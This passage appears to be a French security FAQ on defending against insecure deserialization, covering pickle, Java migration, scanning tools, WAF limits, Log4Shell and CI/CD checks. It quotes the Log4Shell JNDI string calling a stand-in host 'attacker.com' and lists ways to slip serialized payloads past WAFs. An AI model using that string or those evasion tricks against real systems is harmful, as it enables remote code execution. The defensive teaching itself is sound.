Pickle est sûr uniquement sur des flux dont l'attaquant ne peut pas contrôler le contenu : caches internes signés, communications inter-processus dans la même trust boundary, fichiers chiffrés et signés. Il doit être absolument interdit pour : modèles ML téléchargés, requêtes HTTP, files de messages cross-tenant, sessions utilisateur, caches partagés multi-tenant. La parade moderne s'appuie sur safetensors pour les modèles, JSON ou MessagePack avec schéma pour le reste, et signature HMAC-SHA256 lorsque pickle reste indispensable.

Comment migrer une application Java legacy vers une désérialisation sûre ?

La migration suit cinq étapes itératives : (1) cartographier les points d'entrée invoquant ObjectInputStream, XMLDecoder, JBossInvokerServlet ; (2) introduire des DTO Jackson explicites pour chaque endpoint ; (3) configurer ObjectInputFilter globalement avec une allowlist serrée pour les flux internes restants ; (4) ajouter une signature HMAC sur les flux serialisés persistants ; (5) couvrir par tests CI/CD les payloads ysoserial connus. Cette stratégie permet une migration progressive sans big bang, avec un coût moyen de 12 jours-homme par endpoint.

Quels outils gratuits utiliser pour détecter les vulnérabilités de désérialisation ?

L'arsenal open-source est riche : Semgrep avec les règles java.lang.security.audit.object-deserialization ; SpotBugs avec le plugin Find Security Bugs qui détecte CWE-502 ; Bandit pour Python (règle B301 pickle, B506 yaml.load) ; OWASP Dependency-Check pour identifier les bibliothèques vulnérables (Apache Commons Collections, ROME, Jackson) ; ysoserial et PHPGGC pour les tests d'intrusion offensifs ; Burp Suite Community avec l'extension Java Deserialization Scanner ; OpenRASP pour la défense runtime gratuite.

Pourquoi les WAF ne protègent-ils pas efficacement contre la désérialisation ?

Les WAF travaillent par signature ou par règles regex sur le payload HTTP. Or les payloads de désérialisation sont binaires, base64-encodés, parfois chiffrés applicativement, et leur structure est valide vis-à-vis du protocole. Les magic bytes Java aced 0005 ou .NET AAEAAAD peuvent être détectés mais sont triviaux à contourner via gzip, multipart, chunking, encoding XOR. Le WAF agit comme un filtre de surface utile contre le bruit automatisé, mais inefficace contre un attaquant déterminé. La défense robuste est applicative : allowlist + signature + RASP.

Log4Shell est-elle vraiment une vulnérabilité de désérialisation ?

Log4Shell (CVE-2021-44228) combine plusieurs primitives : (1) injection de chaîne JNDI dans un message de log via ${jndi:ldap://attacker.com/Exploit}, (2) résolution JNDI qui télécharge une classe Java distante, (3) désérialisation et chargement de cette classe avec exécution de son bloc statique. Le maillon final est bien une désérialisation Java distante, ce qui permet à de nombreux chercheurs de la classer dans la famille A08. Les chaînes de gadgets ROME et CommonsBeanutils utilisent des primitives identiques via JdbcRowSetImpl et JNDI lookup.

Comment intégrer la sécurité de la désérialisation dans un pipeline CI/CD ?

L'intégration suit le modèle shift-left en quatre couches. Pre-commit : hook git qui exécute Semgrep sur les fichiers modifiés. PR validation : pipeline GitHub Actions ou GitLab CI qui exécute SonarQube, OWASP Dependency-Check, Semgrep complet, ainsi que des tests d'intégration injectant des payloads ysoserial. Quality gate : blocage du merge si une CVE critique est détectée ou si un nouveau sink de désérialisation apparaît sans ObjectInputFilter. Production : RASP actif et SIEM corrélant les alertes, comme détaillé dans notre guide d'audit sécurité de pipeline CI/CD.